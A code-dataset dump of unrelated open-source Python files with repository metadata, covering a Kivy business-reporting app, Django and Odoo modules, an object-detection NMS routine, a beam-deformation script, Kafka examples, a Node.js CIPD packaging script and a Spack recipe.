self.root.ids.report.ids.check_itogreport_xls.active = self.check_itogreport_xls self.root.ids.report.ids.agentreport_xls.active = self.agentreport_xls self.root.ids.report.ids.use_yadisk.active = self.use_yadisk self.root.ids.report.ids.finreport_google.active = self.finreport_google self.root.ids.report.ids.finreport_telegram.active = self.finreport_telegram def change_checkbox(self, name, checkbox): """ Изменяет состояние элемента конфигурации и записывает в INI-файл :param name: Имя чекбокса :param checkbox: Состояние active чекбокса """ self.config.set('General', name, str(checkbox)) setattr(self, name, checkbox) self.config.write() logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Параметр {name} изменен на значение {checkbox}') if name == 'split_by_days' and not checkbox and not self.root.ids.report.ids.date_switch.active: self.root.ids.report.ids.finreport_google.active = False self.change_checkbox('finreport_google', False) self.root.ids.report.ids.finreport_google.disabled = True self.root.ids.report.ids.finreport_google_text.disabled = True elif name == 'split_by_days' and checkbox: self.root.ids.report.ids.finreport_google_text.disabled = False self.root.ids.report.ids.finreport_google.disabled = False def save_reports(self): """ Функция управления """ self.fin_report() self.agent_report() if self.finreport_xls: self.path_list.append(self.export_fin_report()) if self.agentreport_xls: self.path_list.append(self.export_agent_report(self.agentreport_dict)) if self.finreport_google: self.fin_report_lastyear() self.fin_report_beach() if self.itog_report_month: self.fin_report_month() self.agent_report_month() if self.export_to_google_sheet(): self.open_googlesheet() if self.finreport_telegram: self.sms_report_list.append(self.sms_report()) if self.check_itogreport_xls: if self.itog_report_org1['Итого по отчету'][1]: self.path_list.append(self.save_organisation_total(self.itog_report_org1)) if self.itog_report_org2['Итого по отчету'][1]: self.path_list.append(self.save_organisation_total(self.itog_report_org2)) if self.itog_report_org3['Итого по отчету'][1]: self.path_list.append(self.save_organisation_total(self.itog_report_org3)) if self.check_cashreport_xls: if self.cashdesk_report_org1['Итого'][0][1]: self.path_list.append(self.save_cashdesk_report(self.cashdesk_report_org1)) if self.cashdesk_report_org2['Итого'][0][1]: self.path_list.append(self.save_cashdesk_report(self.cashdesk_report_org2)) if self.check_client_count_total_xls: if self.client_count_totals_org1[-1][1]: self.path_list.append(self.save_client_count_totals(self.client_count_totals_org1)) if self.client_count_totals_org2[-1][1]: self.path_list.append(self.save_client_count_totals(self.client_count_totals_org2)) def load_report(self): """ Выполнить отчеты """ self.itog_report_org1 = None self.itog_report_org2 = None self.itog_report_org3 = None self.report_bitrix = None self.click_select_org() self.report_bitrix = self.read_bitrix_base( server=self.server, database=self.database_bitrix, user=self.user, pwd=self.pwd, driver=self.driver, date_from=self.date_from, date_to=self.date_to, ) self.report_bitrix_lastyear = self.read_bitrix_base( server=self.server, database=self.database_bitrix, user=self.user, pwd=self.pwd, driver=self.driver, date_from=self.date_from - relativedelta(years=1), date_to=self.date_to - relativedelta(years=1), ) self.report_rk = self.rk_report_request( server=self.server_rk, database=self.database_rk, user=self.user_rk, pwd=self.pwd_rk, driver=self.driver, cash_id=15033, date_from=self.date_from, date_to=self.date_to, ) self.report_rk_lastyear = self.rk_report_request( server=self.server_rk, database=self.database_rk, user=self.user_rk, pwd=self.pwd_rk, driver=self.driver, cash_id=15033, date_from=self.date_from - relativedelta(years=1), date_to=self.date_to - relativedelta(years=1), ) if self.org1: self.itog_report_org1 = self.itog_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org1[0], org_name=self.org1[1], date_from=self.date_from, date_to=self.date_to, hide_zeroes='0', hide_internal='1', ) self.itog_report_org1_lastyear = self.itog_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org1[0], org_name=self.org1[1], date_from=self.date_from - relativedelta(years=1), date_to=self.date_to - relativedelta(years=1), hide_zeroes='0', hide_internal='1', ) self.itog_report_org3 = self.itog_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org3[0], org_name=self.org3[1], date_from=self.date_from, date_to=self.date_to, hide_zeroes='0', hide_internal='1', ) self.itog_report_org3_lastyear = self.itog_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org3[0], org_name=self.org3[1], date_from=self.date_from - relativedelta(years=1), date_to=self.date_to - relativedelta(years=1), hide_zeroes='0', hide_internal='1', ) if int((self.date_to - timedelta(1)).strftime('%y%m')) < int(self.date_to.strftime('%y%m')): self.itog_report_month = self.itog_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org1[0], org_name=self.org1[1], date_from=datetime.strptime('01' + (self.date_to - timedelta(1)).strftime('%m%y'), '%d%m%y'), date_to=self.date_to, hide_zeroes='0', hide_internal='1', ) self.report_rk_month = self.rk_report_request( server=self.server_rk, database=self.database_rk, user=self.user_rk, pwd=self.pwd_rk, driver=self.driver, cash_id=15033, date_from=datetime.strptime('01' + (self.date_to - timedelta(1)).strftime('%m%y'), '%d%m%y'), date_to=self.date_to, ) else: self.itog_report_month = None self.cashdesk_report_org1 = self.cashdesk_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, date_from=self.date_from, date_to=self.date_to, ) self.client_count_totals_org1 = self.client_count_totals_period( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org1[0], org_name=self.org1[1], date_from=self.date_from, date_to=self.date_to, ) if self.org2: self.itog_report_org2 = self.itog_report( server=self.server, database=self.database2, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org2[0], org_name=self.org2[1], date_from=self.date_from, date_to=self.date_to, hide_zeroes='0', hide_internal='1', ) self.cashdesk_report_org2 = self.cashdesk_report( server=self.server, database=self.database2, driver=self.driver, user=self.user, pwd=self.pwd, date_from=self.date_from, date_to=self.date_to, ) self.client_count_totals_org2 = self.client_count_totals_period( server=self.server, database=self.database2, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org2[0], org_name=self.org2[1], date_from=self.date_from, date_to=self.date_to, ) # Чтение XML с привязкой групп услуг к услугам self.orgs_dict = self.read_reportgroup(self.reportXML) self.itogreport_group_dict = self.read_reportgroup(self.itogreportXML) # Поиск новых услуг self.find_new_service(self.itog_report_org1, self.orgs_dict) self.find_new_service(self.itog_report_org1_lastyear, self.orgs_dict) self.find_new_service(self.itog_report_org3, self.orgs_dict) self.find_new_service(self.itog_report_org3_lastyear, self.orgs_dict) if self.itog_report_month: self.find_new_service(self.itog_report_month, self.orgs_dict) self.distibution_service() def run_report(self): self.open_browser = False self.path_list = [] self.sms_report_list = [] if self.date_switch: self.load_report() else: if self.split_by_days: period = [] while True: period.append(self.date_from) if self.date_from + timedelta(1) == self.date_to: break else: self.date_from = self.date_from + timedelta(1) for date in period: self.date_from = date self.date_to = date + timedelta(1) self.load_report() self.date_from = datetime.strptime(self.root.ids.report.ids.date_from.text, "%Y-%m-%d") else: self.load_report() # Отправка в яндекс диск if self.use_yadisk: self.path_list = filter(lambda x: x is not None, self.path_list) self.sync_to_yadisk(self.path_list, self.yadisk_token) self.path_list = [] # Отправка в телеграмм if self.finreport_telegram: self.send_message_to_telegram() self.sms_report_list = [] if __name__ == '__main__': pass

50.719224

178

0.475653

ace8b2ffd3d6460d46122eebc7e89492370c0484

315

py

Python

src/settings/components/frontend.py

pradipta/back-end

05895b051afc4c8e0cb17db708063d80102e9de5

[ "MIT" ]

17

2019-05-11T22:15:34.000Z

2022-03-26T22:45:33.000Z

src/settings/components/frontend.py

pradipta/back-end

05895b051afc4c8e0cb17db708063d80102e9de5

[ "MIT" ]

390

2019-05-23T10:48:57.000Z

2021-12-17T21:01:43.000Z

src/settings/components/frontend.py

pradipta/back-end

05895b051afc4c8e0cb17db708063d80102e9de5

[ "MIT" ]

40

2019-05-21T14:41:57.000Z

2021-01-30T13:39:38.000Z

""" Configs for the temporary frontend app """ from settings.components import config RECAPTCHA_PUBLIC_KEY = config("RECAPTCHA_PUBLIC_KEY", default="") RECAPTCHA_PRIVATE_KEY = config("RECAPTCHA_PRIVATE_KEY", default="") GITHUB_JWT = config("GITHUB_JWT", default="") GITHUB_REPO = config("GITHUB_REPO", default="")

31.5

67

0.771429

ace8b3640510abd33ada2d269cb829870c4f8d83

991

py

Python

demo_multi_company/models/model.py

digitalsatori/odoo-demo-addons-tutorial

8eb56156ac55f317f90bca089886c392556759c2

[ "MIT" ]

57

2020-06-22T05:28:11.000Z

2022-03-25T08:15:08.000Z

demo_multi_company/models/model.py

digitalsatori/odoo-demo-addons-tutorial

8eb56156ac55f317f90bca089886c392556759c2

[ "MIT" ]

2

2020-11-20T07:11:27.000Z

2022-03-30T00:20:29.000Z

demo_multi_company/models/model.py

digitalsatori/odoo-demo-addons-tutorial

8eb56156ac55f317f90bca089886c392556759c2

[ "MIT" ]

29

2020-07-04T15:24:01.000Z

2022-03-28T01:29:03.000Z

from odoo import models, fields import logging _logger = logging.getLogger(__name__) class DemoCompany(models.Model): _name = 'demo.company' _description = 'Demo Company' name = fields.Char('Description', required=True) property_account_receivable_id = fields.Many2one('account.account', company_dependent=True, string="Account Receivable", domain="[('internal_type', '=', 'receivable'), ('deprecated', '=', False)]", required=True) company_id = fields.Many2one('res.company', string='Company', required=True, readonly=True, default=lambda self: self.env.user.company_id) def action_get_default_account(self): default_account = self.env['ir.property'].with_context(force_company=self.company_id.id).get('property_account_receivable_id', 'demo.company') _logger.warning(default_account) _logger.warning(self.property_account_receivable_id) _logger.warning('============= HELLO ==================')

39.64

150

0.69223

ace8b37089649fd3f70e4d47c94442bf6bf7d72d

5,320

py

Python

src/opendr/perception/object_detection_2d/nms/fast_nms/fast_nms.py

daoran/opendr

bca25f6a43244fe9c219a24576181f94a0726923

[ "Apache-2.0" ]

null

src/opendr/perception/object_detection_2d/nms/fast_nms/fast_nms.py

daoran/opendr

bca25f6a43244fe9c219a24576181f94a0726923

[ "Apache-2.0" ]

null

src/opendr/perception/object_detection_2d/nms/fast_nms/fast_nms.py

daoran/opendr

bca25f6a43244fe9c219a24576181f94a0726923

[ "Apache-2.0" ]

null

# Copyright 2020-2022 OpenDR European Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This file contains code from the CIoU distribution (https://github.com/Zzh-tju/CIoU). # Copyright (c) 2020 Zheng, Zhaohui. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, version 3. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from opendr.perception.object_detection_2d.nms.utils import NMSCustom from opendr.perception.object_detection_2d.nms.utils.nms_utils import jaccard from opendr.engine.target import BoundingBox, BoundingBoxList import torch import numpy as np class FastNMS(NMSCustom): def __init__(self, cross_class=False, device='cuda', iou_thres=0.45, top_k=400, post_k=100): self.device = device self.iou_thres = iou_thres self.top_k = top_k self.post_k = post_k self.cross_class = cross_class def set_iou_thres(self, iou_thres=0.45): self.iou_thres = iou_thres def top_k(self, top_k=400): self.top_k = top_k def post_k(self, post_k=100): self.post_k = post_k def set_cross_class(self, cross_class=False): self.cross_class = cross_class def run_nms(self, boxes=None, scores=None, threshold=0.2, img=None): if isinstance(boxes, np.ndarray): boxes = torch.tensor(boxes, device=self.device) elif torch.is_tensor(boxes): if self.device == 'cpu': boxes = boxes.cpu() elif self.device == 'cuda': boxes = boxes.cuda() if isinstance(scores, np.ndarray): scores = torch.tensor(scores, device=self.device) elif torch.is_tensor(scores): if self.device == 'cpu': scores = scores.cpu() elif self.device == 'cuda': scores = scores.cuda() scores = torch.transpose(scores, dim0=1, dim1=0) if self.cross_class: [boxes, classes, scores] = cc_fast_nms(boxes=boxes, scores=scores, iou_thres=self.iou_thres, top_k=self.top_k, post_k=self.post_k) else: [boxes, classes, scores] = fast_nms(boxes=boxes, scores=scores, iou_thres=self.iou_thres, top_k=self.top_k, post_k=self.post_k) keep_ids = torch.where(scores > threshold) scores = scores[keep_ids].cpu().numpy() classes = classes[keep_ids].cpu().numpy() boxes = boxes[keep_ids].cpu().numpy() bounding_boxes = BoundingBoxList([]) for idx, box in enumerate(boxes): bbox = BoundingBox(left=box[0], top=box[1], width=box[2] - box[0], height=box[3] - box[1], name=classes[idx], score=scores[idx]) bounding_boxes.data.append(bbox) return bounding_boxes, [boxes, classes, scores] def fast_nms(boxes=None, scores=None, iou_thres=0.45, top_k=400, post_k=200): scores, idx = scores.sort(1, descending=True) boxes = boxes[idx, :] scores = scores[:, :top_k] boxes = boxes[:, :top_k] num_classes, num_dets = scores.shape boxes = boxes.view(num_classes, num_dets, 4) iou = jaccard(boxes, boxes).triu_(diagonal=1) iou_max, _ = iou.max(dim=1) keep = (iou_max <= iou_thres) keep *= (scores > 0.01) classes = torch.arange(num_classes, device=boxes.device)[:, None].expand_as(keep) classes = classes[keep] boxes = boxes[keep] scores = scores[keep] scores, idx = scores.sort(0, descending=True) idx = idx[:post_k] scores = scores[:post_k] classes = classes[idx] boxes = boxes[idx] return boxes, classes, scores def cc_fast_nms(boxes=None, scores=None, iou_thres=0.45, top_k=400, post_k=200): scores, classes = scores.max(dim=0) _, idx = scores.sort(0, descending=True) idx = idx[:top_k] boxes = boxes[idx] scores = scores[idx] classes = classes[idx] iou = jaccard(boxes, boxes).triu_(diagonal=1) maxA, _ = torch.max(iou, dim=0) idx_out = torch.where(maxA > iou_thres) scores[idx_out] = 0 scores, idx = scores.sort(0, descending=True) idx = idx[:post_k] scores = scores[:post_k] classes = classes[idx] boxes = boxes[idx] return boxes, classes, scores

35.945946

104

0.640977

ace8b39323ce54466593833d9c6eaec76e360820

909

py

Python

tests/test_progressbar.py

Yardanico/pylibui-cffi

10d90f08b6b1e43bf567ffcd22dbe976cb10e80e

[ "MIT" ]

6

2017-10-16T03:23:05.000Z

2020-11-10T06:24:04.000Z

tests/test_progressbar.py

TiberiumN/pylibui-cffi

10d90f08b6b1e43bf567ffcd22dbe976cb10e80e

[ "MIT" ]

null

tests/test_progressbar.py

TiberiumN/pylibui-cffi

10d90f08b6b1e43bf567ffcd22dbe976cb10e80e

[ "MIT" ]

1

2018-09-07T06:14:27.000Z

""" Pylibui test suite. """ from pylibui.controls import ProgressBar from tests.utils import WindowTestCase class ProgressBarTest(WindowTestCase): def setUp(self): super().setUp() self.progressbar = ProgressBar() def test_value_initial_value(self): """Tests the progressbar's `value` initial value is zero.""" self.assertEqual(self.progressbar.value, 0) def test_value_can_be_changed(self): """Tests the progressbar's `value` attribute can be changed.""" value = 30 self.progressbar.value = value self.assertEqual(self.progressbar.value, value) # TODO: should we check for variable type to avoid app crashes ? # NOTE: weirdly enough, the sliders don't crash like this; this may # be a bug in libui. # with self.assertRaises(ValueError): # self.progressbar.set_value('hello')

30.3

75

0.660066

ace8b5880f83efa2e6fd9910751cfa51c34d6209

4,630

py

Python

Beam_Deformation.py

HeNeos/Mechanical

b64e9ea8610b4d8d8ef02d01d3ca7fea3ea7b857

[ "MIT" ]

1

2020-03-31T11:54:28.000Z

Beam_Deformation.py

HeNeos/Mechanical

b64e9ea8610b4d8d8ef02d01d3ca7fea3ea7b857

[ "MIT" ]

null

Beam_Deformation.py

HeNeos/Mechanical

b64e9ea8610b4d8d8ef02d01d3ca7fea3ea7b857

[ "MIT" ]

null

import math import matplotlib.pyplot as plt n = 23 R2 = 5*(2*n*n + 1135*n + 110780)/(n+155) R1 = 7340-60*n-R2 v = [] v.append(0) for x in range(1,310+2*n+1): aux = R1 if x>10: aux = aux-(12-n)*(x-10) if x>130+2*n: aux = aux-(5000+10*n) if x>80: aux = aux + (12-n)*(x-80) if x>260+2*n: aux = aux+(50)*(x-(260+2*n)) + (5/12)*(x-(260+2*n))*(x-(260+2*n)) if x>200+2*n: aux = aux-(5/12)*(x - (200+2*n))*(x - (200+2*n)) if x>=310+2*n: aux = aux + R2 v.append(aux) plt.figure(figsize=(9,4)) plt.xlabel('Longitud (mm)') plt.ylabel('Fuerza cortante (N)') plt.grid() plt.plot(v,'-b') plt.savefig('Fuerzacortante.pdf') m = [] for x in range(0,310+2*n+1): aux = R1*x if x>10: aux = aux-(12-n)*(x-10)*(x-10)/2 if x>130+2*n: aux = aux-(5000+10*n)*(x-(130+2*n)) if x>80: aux = aux + (12-n)*(x-80)*(x-80)/2 if x>260+2*n: aux = aux+(25)*(x-(260+2*n))*(x-(260+2*n)) + (5/36)*(x-(260+2*n))*(x-(260+2*n))*(x-(260+2*n)) if x > 130+2*n: aux = aux+(60000+200*n) if x>200+2*n: aux = aux-(5/36)*(x - (200+2*n))*(x - (200+2*n))*(x - (200+2*n)) if x>=310+2*n: aux = aux + R2*(x-(310+2*n)) m.append(aux) plt.figure(figsize=(9,4)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('Momento flector (N-mm)') plt.plot(m,'r') plt.savefig('momento.pdf') I = [] for i in range(0,310+2*n+1): if i<10: I.append((math.pi*(40)**4)/64) continue if i<80: I.append((math.pi*(50)**4)/64) continue if i<200+2*n: I.append((math.pi*(((50+((i-80)*20/(120+2*n))))**4)/64)) continue if i<260+2*n: I.append((math.pi*(70)**4)/64) continue if i<300+2*n: I.append((math.pi*(60)**4)/64) continue I.append((math.pi*(55)**4)/64) plt.figure(figsize=(9,4)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('Momento de inercia (mm$^4$)') plt.plot(I,'-m') plt.savefig('momentoi.pdf') E = 2.1*10**5 MEI = [] for i in range(0,310+2*n+1): MEI.append(m[i]/(E*I[i])) plt.figure(figsize=(9,4)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('M/EI (mm)') plt.plot(MEI,'-b') plt.savefig('mei.pdf') mi = [] mi.append(0) for i in range(1,310+2*n+1): mi.append(m[i]/I[i] + mi[i-1]) plt.figure(figsize=(9,4)) plt.xlabel('Longitud (mm)') plt.ylabel('$\int M/I$ (N/mm$^{2}$)') plt.grid() plt.plot(mi) plt.savefig('mintegr.pdf') mii = [] mii.append(0) for i in range(1,310+2*n+1): mii.append(mi[i]+mii[i-1]) plt.figure(figsize=(9,4)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('$ \iint M/I\,\mathrm{d}x $ (MPa-mm)') plt.plot(mii) plt.savefig('m2i.pdf') const = -mii[310+2*n]/(310+2*n) for i in range(0,310+2*n+1): mii[i] = (mii[i]+const*i)/E plt.figure(figsize=(9,4)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('Deformada (mm)') plt.plot(mii,'-k') plt.savefig('def.pdf') rect1 = [] rect2 = [] for i in range(0,40): rect1.append(-4.0824*10**(-4)*(i) - 2.4*10**-8) rect2.append(3.12*10**(-4)*(i+357-20) - 1.1110683*10**(-1)) indx = [] for i in range(357-20,357+20): indx.append(i) plt.figure(figsize=(9,4)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('Deformada (mm)') plt.plot(mii,'-k') plt.plot(rect1) plt.plot(indx,rect2) plt.savefig('ang.pdf') flechamax = 0 posflecha = 0 for i in range(0,310+2*n+1): flechamax = max(flechamax,abs(mii[i])) for i in range(0,310+2*n+1): if(abs(mii[i]) == flechamax): posflecha = i area = [] for i in range(0,310+2*n+1): if i<10: area.append(math.pi*(40/2)) continue if i<80: area.append((math.pi*(50/2))) continue if i<200+2*n: area.append((math.pi*(((50+((i-80)*20/(120+2*n)))/2)))) continue if i<260+2*n: area.append((math.pi*(70/2))) continue if i<300+2*n: area.append(math.pi*(60/2)) continue area.append((math.pi*(55/2))) esfm = 0 poses = 0 for i in range(0,310+2*n+1): if abs(math.sqrt(area[i]/math.pi)*m[i]/I[i]) > esfm: esfm = abs(math.sqrt(area[i]/math.pi)*m[i]/I[i]) poses = i print(esfm, poses) #MPa esfm = 0 poses = 0 gresf = [] for i in range(0,310+2*n+1): esff = abs(math.sqrt(area[i]/math.pi)*m[i]/I[i]) gresf.append(math.sqrt(esff**2 + (v[i]/area[i])**2)) if math.sqrt(esff**2 + (v[i]/area[i])**2) > esfm: esfm = math.sqrt(esff**2 + (v[i]/area[i])**2) poses = i print(esfm, poses) plt.figure(figsize=(10,5)) plt.grid() plt.xlabel('Longitud (mm)') plt.ylabel('Esfuerzo (MPa)') plt.plot(gresf) plt.savefig('esfuerzo.pdf')

22.920792

101

0.539957

ace8b5bf7c7a31f660111964509506e60980b700

3,680

py

Python

py_kafk/old/kafka-python.py

liuansen/python-utils-class

7f5371ab09b433f555f732dd35350581701e16f0

[ "Apache-2.0" ]

3

2019-05-09T08:15:29.000Z

2021-10-12T06:24:49.000Z

py_kafk/old/kafka-python.py

liuansen/python-utils-class

7f5371ab09b433f555f732dd35350581701e16f0

[ "Apache-2.0" ]

3

2020-03-24T06:22:02.000Z

2021-06-10T21:28:35.000Z

py_kafk/old/kafka-python.py

liuansen/python-utils-class

7f5371ab09b433f555f732dd35350581701e16f0

[ "Apache-2.0" ]

null

# -*- coding:utf-8 -*- # author：Anson # @Time : 2020/9/21 14:36 # @File : encrypt_kafka.py from __future__ import unicode_literals from kafka import KafkaProducer from kafka import KafkaConsumer from kafka.errors import KafkaError import json class MyEncoder(json.JSONEncoder): def default(self, obj): """ 只要检查到了是bytes类型的数据就把它转为str类型 :param obj: :return: """ if isinstance(obj, bytes): return str(obj, encoding='utf-8') return json.JSONEncoder.default(self, obj) class Kafka_producer(): ''' 使用kafka的生产模块 ''' def __init__(self, kafkahost,kafkaport, kafkatopic): ssl_certfile = "../conf/certificate.pem" ssl_cafile = "../conf/ca-root.pem" self.kafkaHost = kafkahost self.kafkaPort = kafkaport self.kafkatopic = kafkatopic self.producer = KafkaProducer( bootstrap_servers="localhost:9092", value_serializer=lambda v: json.dumps(v, cls=MyEncoder,indent=4).encode('utf-8'), retries=0, api_version = (2, 3), request_timeout_ms=200, ssl_check_hostname=False, ssl_certfile=ssl_certfile, security_protocol="SSL", ssl_cafile=ssl_cafile ) def sendjsondata(self, params): try: parmas_message = json.dumps(params) print(parmas_message) producer = self.producer producer.send(self.kafkatopic, parmas_message.encode('utf-8')) producer.flush() except KafkaError as e: print(e) class Kafka_consumer(): ''' 使用Kafka—python的消费模块 ''' def __init__(self, kafkahost, kafkaport, kafkatopic, groupid): ssl_certfile = "../conf/certificate.pem" ssl_cafile = "../conf/ca-root.pem" self.kafkaHost = kafkahost self.kafkaPort = kafkaport self.kafkatopic = kafkatopic self.groupid = groupid self.consumer = KafkaConsumer(group_id="consumer_group_police_seemmo", bootstrap_servers = '127.0.0.1:9092', api_version=(2, 3), enable_auto_commit=False, auto_commit_interval_ms=5000, # ssl_check_hostname=False, # ssl_certfile=ssl_certfile, # security_protocol="SSL", # ssl_cafile=ssl_cafile ) def consume_data(self): print('123') self.consumer.subscribe(['test']) try: for message in self.consumer: print(json.loads(message.value)) except KeyboardInterrupt as e: print(e) if __name__ == '__main__': ''' 测试consumer和producer :return: ''' # # 测试生产模块 # producer = Kafka_producer("127.0.0.1", 9092, "test") # for i in range(10): # params = '{abetst}:{null}---'+str(i) # producer.sendjsondata(params) # 测试消费模块 # consumer = Kafka_consumer("127.0.0.1", 9092, "test", "asklfdjsdfasdfg") # consumer.consume_data() # print type(self.bootstrap_servers) consumer = KafkaConsumer(bootstrap_servers=['127.0.0.1:9092'],group_id='wm_group', auto_offset_reset='latest', enable_auto_commit=False) consumer.subscribe(['test']) #订阅要消费的主题 # print consumer.topics() # print "+++++++",consumer.position(TopicPartition(topic=u'ctripapi_duplicateddata_review', partition=1)) #获取当前主题的最新偏移量 for message in consumer: print(message.value)

32.566372

140

0.575815

ace8b64d866b2494673585b178b9b9dfb1fbd84f

4,011

py

Python

bootstrap/cipd/doc/infra/nodejs/nodejs/build.py

xinghun61/infra

b5d4783f99461438ca9e6a477535617fadab6ba3

[ "BSD-3-Clause" ]

2

2021-04-13T21:22:18.000Z

2021-09-07T02:11:57.000Z

bootstrap/cipd/doc/infra/nodejs/nodejs/build.py

asdfghjjklllllaaa/infra

8f63af54e46194cd29291813f2790ff6e986804d

[ "BSD-3-Clause" ]

21

2020-09-06T02:41:05.000Z

2022-03-02T04:40:01.000Z

bootstrap/cipd/doc/infra/nodejs/nodejs/build.py

xinghun61/infra

b5d4783f99461438ca9e6a477535617fadab6ba3

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python3 # Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """This is a simple standalone Python script to construct a CIPD package for Node.js. It expects CIPD to be in the path, and uses constants to determine which sources to use to build the CIPD packages. """ import argparse import collections import contextlib import hashlib import io import logging import os import shutil import subprocess import sys import tarfile import tempfile import urllib.request # The common application logger. LOGGER = logging.getLogger('cipd-nodejs-build') # Base package name. Platform names will be appended to this for each platform. CIPD_PACKAGE_BASE = 'infra/nodejs/nodejs' NodeParams = collections.namedtuple('NodeParams', ('version',)) NodePackage = collections.namedtuple('NodePackage', ('filename', 'sha256')) # Node parameter dictionary. NODE_PARAMS = NodeParams( # The Node.js version. version='10.15.3', ) # URL template for a Node.js package. NODE_URL_TEMPLATE = 'https://nodejs.org/dist/v%(version)s/%(filename)s' # A map of platform to (URL, SHA256) for each supported package. PLATFORMS = collections.OrderedDict({ 'linux-amd64': NodePackage( filename = 'node-v%(version)s-linux-x64.tar.xz', sha256='faddbe418064baf2226c2fcbd038c3ef4ae6f936eb952a1138c7ff8cfe862438', ), 'mac-amd64': NodePackage( filename = 'node-v%(version)s-darwin-x64.tar.gz', sha256='7a5eaa1f69614375a695ccb62017248e5dcc15b0b8edffa7db5b52997cf992ba', ), }) @contextlib.contextmanager def tempdir(): tdir = tempfile.mkdtemp(prefix='tmpCIPDNode', dir=os.getcwd()) try: yield tdir finally: shutil.rmtree(tdir) def _upload_cipd_package_from(name, root): cmd = [ 'cipd', 'create', '-name', name, '-in', root, '-install-mode', 'copy', '-ref', 'latest', '-tag', 'node_version:%s' % (NODE_PARAMS.version,), ] LOGGER.debug('Running command: %s', cmd) subprocess.check_call(cmd) def _strip_extension(v): for ext in ('.tar.gz', '.tar.xz'): if v.endswith(ext): return v[:-len(ext)] return v def _build_cipd_package(pkg_name, package): params = NODE_PARAMS._asdict() params.update({ 'filename': package.filename % params, }) url = NODE_URL_TEMPLATE % params LOGGER.info('Downloading package for [%s] from: %s', pkg_name, url) with urllib.request.urlopen(url) as conn: data = conn.read() # Compare hashes. h = hashlib.sha256(data) if h.hexdigest().lower() != package.sha256.lower(): LOGGER.error('SHA256 of package [%s] (%s) does not match expected (%s)', url, h.hexdigest(), package.sha256) raise ValueError('SHA256 mismatch') basedir = _strip_extension(url.split('/')[-1]) # Unpack the file. bio = io.BytesIO(data) tf = tarfile.open(fileobj=bio, mode='r:*') try: # Our 'basedir' must be a member. if not tf.getmember(basedir): LOGGER.error('Package TAR does not include basedir (%s)', basedir) raise ValueError('Unexpected TAR contents') # Extracted whitelisted files into a temporary directory, and ship that off # to CIPD. with tempdir() as tdir: basedir_whitelist = ['%s/%s/' % (basedir, dname) for dname in ('bin', 'lib', 'include', 'share')] for member in tf.getmembers(): for w in basedir_whitelist: if member.name.startswith(w): break else: # Not whitelisted. continue tf.extract(member, tdir) # Package up our basedir. _upload_cipd_package_from(pkg_name, os.path.join(tdir, basedir)) finally: tf.close() def main(): for platform, package in PLATFORMS.items(): package_name = '/'.join((CIPD_PACKAGE_BASE, platform)) _build_cipd_package(package_name, package) return 0 if __name__ == '__main__': logging.basicConfig(level=logging.DEBUG) sys.exit(main())

27.285714

80

0.681875

ace8b6b4ab26e5c787080dc0c7e7088b84b4d135

1,341

py

Python

var/spack/repos/builtin/packages/unigen/package.py

LiamBindle/spack

e90d5ad6cfff2ba3de7b537d6511adccd9d5fcf1

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

2,360

2017-11-06T08:47:01.000Z

2022-03-31T14:45:33.000Z

var/spack/repos/builtin/packages/unigen/package.py

LiamBindle/spack

e90d5ad6cfff2ba3de7b537d6511adccd9d5fcf1

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

13,838

2017-11-04T07:49:45.000Z

2022-03-31T23:38:39.000Z

var/spack/repos/builtin/packages/unigen/package.py

LiamBindle/spack

e90d5ad6cfff2ba3de7b537d6511adccd9d5fcf1

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

1,793

2017-11-04T07:45:50.000Z

2022-03-30T14:31:53.000Z

# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Unigen(MakefilePackage): """The United Generators project was launched by the Virtual Institute 146 VI-SIM in September 2005 following a proposal of Herbert Strobele. The goal was to facilitate comparison between various models (see below) and/or various experiments (HADES, FOPI, CERES, NA49, CBM). The package at present allows to convert output of various event generators to a generic root format.""" homepage = "https://www.gsi.de/work/wissenschaftliche_netzwerke/helmholtz_virtuelle_institute/unigen.htm" url = "https://github.com/FairRootGroup/UniGen/archive/v2.3.tar.gz" tags = ['hep'] version('2.3', sha256='8783bcabbdf8c50dab6e93153cff9cfb267a9a9e61aef51bf1e17679ba42a717') patch('unigen-2.3.patch', level=0) depends_on('root', type=('build', 'link')) def build(self, spec, prefix): mkdirp(join_path(self.build_directory, 'lib')) make('TOPDIR=' + self.build_directory, 'all') def install(self, spec, prefix): make('DESTDIR=' + prefix, 'TOPDIR=' + self.build_directory, 'install')

39.441176

110

0.701715

